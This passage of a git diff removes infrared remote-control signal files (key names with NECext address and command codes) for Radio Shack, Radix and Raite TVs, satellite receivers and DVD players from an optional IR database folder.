KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3C 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3C 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3E 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_RadioShack/3,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_RadioShack/3,1.ir deleted file mode 100644 index 5e4df2539..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_RadioShack/3,1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_A -type: parsed -protocol: NECext -address: 03 01 00 00 -command: 20 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 03 01 00 00 -command: 40 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_Radioshack2115/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_Radioshack2115/5,-1.ir deleted file mode 100644 index c886552d1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_Radioshack2115/5,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0A 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 11 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3B 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3E 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3E 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_Alpha/138,245.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_Alpha/138,245.ir deleted file mode 100644 index 1e223a9b6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_Alpha/138,245.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 00 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 03 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 0B 00 00 00 -# -name: RIGHT/LOUD+ -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 0D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 0E 00 00 00 -# -name: LEFT/LOUD- -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 11 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 14 00 00 00 -# -name: UP/CH+ -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 1A 00 00 00 -# -name: DOWN/CH- -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 1B 00 00 00 -# -name: CH/LIST -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 1C 00 00 00 -# -name: --- -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 1D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 1E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_DT-X1/0,127.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_DT-X1/0,127.ir deleted file mode 100644 index eee00281e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_DT-X1/0,127.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 00 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 03 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 07 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 0B 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 0D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 0E 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 0F 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 11 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 12 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 14 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 15 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 16 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 17 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 19 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 1A 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 1B 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 1C 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 1E 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 40 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 42 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 44 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 48 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 49 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_DTR-9000-Twin/0,127.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_DTR-9000-Twin/0,127.ir deleted file mode 100644 index ec9070e4e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_DTR-9000-Twin/0,127.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 00 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 03 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 07 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 0B 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 0D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 0E 00 00 00 -# -name: Audio-red -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 0F 00 00 00 -# -name: i-blue -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 11 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 12 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 14 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 15 00 00 00 -# -name: Last-yellow -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 16 00 00 00 -# -name: ArrowsUp -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 17 00 00 00 -# -name: KEY_F1 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 18 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 19 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 1A 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 1B 00 00 00 -# -name: ArrowsDown -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 1C 00 00 00 -# -name: Sound -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 1E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 1F 00 00 00 -# -name: A/B -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 40 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 41 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 42 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 43 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 44 00 00 00 -# -name: TTX. -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 45 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 46 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 48 00 00 00 -# -name: Timer-green -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 49 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_SAT/138,245.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_SAT/138,245.ir deleted file mode 100644 index 0465fb74f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_SAT/138,245.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 00 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 03 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 07 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 0B 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 0D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 0E 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 11 00 00 00 -# -name: LT -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 13 00 00 00 -# -name: EAST -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 15 00 00 00 -# -name: WEST -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 16 00 00 00 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 17 00 00 00 -# -name: CROSS -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 18 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 19 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 1A 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 1B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_lircd.conf/0,127.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_lircd.conf/0,127.ir deleted file mode 100644 index e519063f8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_lircd.conf/0,127.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 00 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 03 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 07 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 0B 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 0D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 0E 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 0F 00 00 00 -# -name: KEY_I -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 11 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 12 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 14 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 15 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 16 00 00 00 -# -name: schnell-hoch -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 17 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 19 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 1A 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 1B 00 00 00 -# -name: schnell-runter -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 1C 00 00 00 -# -name: musik -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 1E 00 00 00 -# -name: lt -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 42 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 44 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 48 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 49 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_radix/138,245.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_radix/138,245.ir deleted file mode 100644 index 3c767b3d6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_radix/138,245.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 00 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 03 00 00 00 -# -name: store -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 07 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 0B 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 0D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 0E 00 00 00 -# -name: t_ab -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 0F 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 11 00 00 00 -# -name: st_lt -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 13 00 00 00 -# -name: east -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 15 00 00 00 -# -name: west -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 16 00 00 00 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 17 00 00 00 -# -name: KEY_NUMERIC_POUND -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 18 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 19 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 1B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Raite/Unknown_RaiteDVD-7xx/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Raite/Unknown_RaiteDVD-7xx/32,-1.ir deleted file mode 100644 index 3ff45ac5b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Raite/Unknown_RaiteDVD-7xx/32,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Vocal-Assist -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 01 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 02 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 03 00 00 00 -# -name: Menu/Return -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 09 00 00 00 -# -name: Resume -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0F 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 10 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 11 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 12 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 13 00 00 00 -# -name: Repeat_1/All -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 14 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 15 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 16 00 00 00 -# -name: Repeat_A-B -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 17 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 18 00 00 00 -# -name: Skip_B -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 19 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1A 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1D 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1E 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1F 00 00 00 -# -name: Title/Digest -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 40 00 00 00 -# -name: Program -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 41 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 44 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 48 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 49 00 00 00 -# -name: PBC -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4C 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4D 00 00 00 -# -name: 